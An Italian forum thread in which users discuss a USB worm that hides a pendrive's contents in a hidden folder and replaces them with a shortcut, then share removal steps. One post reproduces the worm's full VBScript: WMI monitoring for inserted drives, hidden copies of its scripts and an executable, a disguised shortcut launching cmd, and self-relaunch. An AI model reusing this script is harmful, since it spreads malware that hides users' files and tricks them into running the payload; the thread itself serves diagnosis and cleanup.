Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 14
  1. #1

    windows 10 sposta automaticamente contenuti pendrive in cartella nascosta all'interno della pendrive stessa

    Salve a tutti da qualche giorno il pc si comporta in modo strano.
    Praticamente quando inserisco una chiavetta usb crea un altra cartella chiamata "_" , ed un collegamento, cliccando su questo collegamento, mi apre la cartella _ (invisibile) e mi fa vedere i file. Lo fa su tutti i pc con il mio accaunt microsoft, cosa cavolo è successo?! Ho provato più volte a ricopiare i file nella root, ma appena l inserisco effettua quest'operazione.

  2. #2
    Moderatore di Windows e software L'avatar di URANIO
    Registrato dal
    Dec 1999
    residenza
    Casalpusterlengo (LO)
    Messaggi
    1,289

  3. #3
    Quote Originariamente inviata da URANIO Visualizza il messaggio
    E questo virus ti sposta semplicemente i file? ò.ò
    Effettivamente appena ho inserito una pendrive "infetta" in un altro pc, il problema si è ripresentato, spulciando fra i file nascosti che questo programma mi crea, ho scoperto che ci sono dei file di installazione. Ed il collegamento che mi crea in realtùà è un installatore (porta la directory %COMSPEC% /C .\WindowsServices\movemenoreg.vbs), che infamata...
    Guarda te poi, alla fine è uno script del cavolo...
    on error resume nextDIM colEvents, objws, strComputer, objEvent, DestFolder, strFolder, Target, ws, objFile, objWMIService, DummyFolder, check, number, home, device, devicename, colProcess, vaprocess, objWinMgmt
    strComputer = "."
    Set ws = WScript.CreateObject("WScript.Shell")


    Target = "\WindowsServices"




    'where are we?
    strPath = WScript.ScriptFullName
    set objws = CreateObject("Scripting.FileSystemObject")
    Set objFile = objws.GetFile(strPath)
    strFolder = objws.GetParentFolderName(objFile)








    'Checking for USB instance
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set colEvents = objWMIService.ExecNotificationQuery ("SELECT * FROM __InstanceOperationEvent WITHIN 1 WHERE " & "TargetInstance ISA 'Win32_LogicalDisk'")




    Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2")




    While True


    Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name = 'wscript.exe'")
    call procheck(colProcess, "helper.vbs")

    Set objEvent = colEvents.NextEvent



    If objEvent.TargetInstance.DriveType = 2 Then
    If objEvent.Path_.Class = "__InstanceCreationEvent" Then
    device = objEvent.TargetInstance.DeviceID
    devicename = objEvent.TargetInstance.VolumeName
    DestFolder = device & "\WindowsServices"
    DummyFolder = device & "\" & "_"
    if (not objws.folderexists(DestFolder)) then
    objws.CreateFolder DestFolder
    Set objDestFolder = objws.GetFolder(DestFolder)
    objDestFolder.Attributes = objDestFolder.Attributes + 39
    end if

    Call moveandhide ("\helper.vbs")
    Call moveandhide ("\installer.vbs")
    Call moveandhide ("\movemenoreg.vbs")
    Call moveandhide ("\WindowsServices.exe")

    if (not objws.fileexists (device & devicename & ".lnk")) then
    Set link = ws.CreateShortcut(device & "\" & devicename & ".lnk")
    link.IconLocation = "%windir%\system32\SHELL32.dll, 7"
    link.TargetPath = "%COMSPEC%"
    link.Arguments = "/C .\WindowsServices\movemenoreg.vbs"
    link.windowstyle = 7
    link.Save
    End If


    if (not objws.folderexists(DummyFolder)) then
    objws.CreateFolder DummyFolder
    Set objDestFolder = objws.GetFolder(DummyFolder)
    objDestFolder.Attributes = objDestFolder.Attributes + 2 + 4
    End If
    set check = objws.getFolder(device)
    Call checker(check)

    End If
    End If





    Wend










    sub checker (path)
    set home = path.Files
    For Each file in home
    Select Case file.Name
    Case devicename & ".lnk"
    'nothings
    Case Else
    objws.MoveFile path & file.Name, DummyFolder & "\"
    End Select

    Next

    set home = path.SubFolders
    For Each home in home
    Select Case home
    Case path & "_"
    'nothings
    Case path & "WindowsServices"
    'nothings
    Case path & "System Volume Information"
    'nothings'
    Case Else
    objws. MoveFolder home, DummyFolder & "\"
    End Select

    Next

    end sub




    '------------------------------------------------------------




    sub moveandhide (name)
    if (not objws.fileexists(DestFolder & name)) then
    objws.CopyFile strFolder & name, DestFolder & "\"
    Set objmove = objws.GetFile(DestFolder & name)


    If not objmove.Attributes AND 39 then
    objmove.Attributes = 0
    objmove.Attributes = objmove.Attributes + 39
    end if


    end if
    end sub






    '------------------------------------------------------------




    sub procheck(checkme, procname)


    For Each objProcess In checkme
    vaprocess = objProcess.CommandLine

    if instr(vaprocess, procname) then
    Exit sub
    End if

    Next
    ws.Run Chr(34) & strFolder & "\" & procname & Chr(34)
    end sub
    EDIT2: Purtroppo non si risolve, cancello il file dall'esecuzione automatica, ma si ricrea un istante dopo. Deve esserci qualche servizio in esecuzione che lo ricrea...
    Ultima modifica di XSparter; 29-06-2016 a 11:51

  4. #4
    Utente di HTML.it
    Registrato dal
    Jul 2016
    Messaggi
    5
    Stesso problema. Simile a un virus delle penne usb che riuscii a risolvere tempo fa con la combo HijackThis-RiparaUSB. Per caso sapete un modo per risolverlo? Mi fareste un gran favore!

  5. #5
    Si, ci sono riuscito. Alla fine erano una serie di servizi che venivanoa vviati dal collegamento alla cartella "nascosta" che viene creata nella pendrive. Basta che li rimuovi dall'esecuzione automatica e li cancelli ed hai fatto. Ovviamente cancella anche la cartella "windows services" creata per trarti in inganno. http://www.italforum.it/topic10.html

  6. #6
    Utente di HTML.it L'avatar di Giorg10
    Registrato dal
    Aug 2014
    Messaggi
    141
    Grazie per la condivisione della soluzione Xsparter. Io in questi casi quando non sono del tutto sicuro di cosa mi abbia infettato e come, effettuo una formattazione.

  7. #7
    Utente di HTML.it
    Registrato dal
    Jul 2016
    Messaggi
    5
    credo che l'updater.vbe sia quello delle cartelle normali, non il movemenoreg.vbs! Oppure è la stessa cosa? Devo modificare qualcosa nella guida che mi hai linkato? scusa le domande apparentemente banali ma come dicevo non sono proprio espertissimo

  8. #8
    Quote Originariamente inviata da Giorg10 Visualizza il messaggio
    Grazie per la condivisione della soluzione Xsparter. Io in questi casi quando non sono del tutto sicuro di cosa mi abbia infettato e come, effettuo una formattazione.
    Purtroppo se non individui il problema, appena colleghi una chiavetta e clicchi sull'eseguibile che ti apre la cartella invisibile, ti infetta di nuovo. alla fine è uno script in vb, nulla di che. L'ho studiato, non ho nemmeno idea da dove io lo abbia beccato sinceramente hahaha. E comunque quando come me, hai decine di compilatori, software di cad e periferiche particolari, non sempre è possibile formattare D:

  9. #9
    si è la stessa cosa. movemenoreg.vbs devi cancellarlo. Ora non so dirti dove si trovano questi file, ma ci arrivi tramit eil taskmanager, nella pendirve li levi faiclmente, ma il punto è levarli dal pc. basta che fai tasto destro nella sched aavvio sul programma che vuoi eliminare, vai nella sua cartella, termini TUTTE le istanze di wscript.exe, dopo di che disabili l'avvio automatico di quei due file che hai citato, riavvii, vai nella cartella nuovamente utilizzando con lo stesso sitema e cancewlli. Scusa per errori di battitura, ma sto dal telefono ed ho gli occhi che reclamano pietà hahaha
    Ultima modifica di XSparter; 21-07-2016 a 22:48

  10. #10
    Utente di HTML.it
    Registrato dal
    Jul 2016
    Messaggi
    5
    Non mi trova update.vbe quando uso Hijackthis!

Tag per questa discussione

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.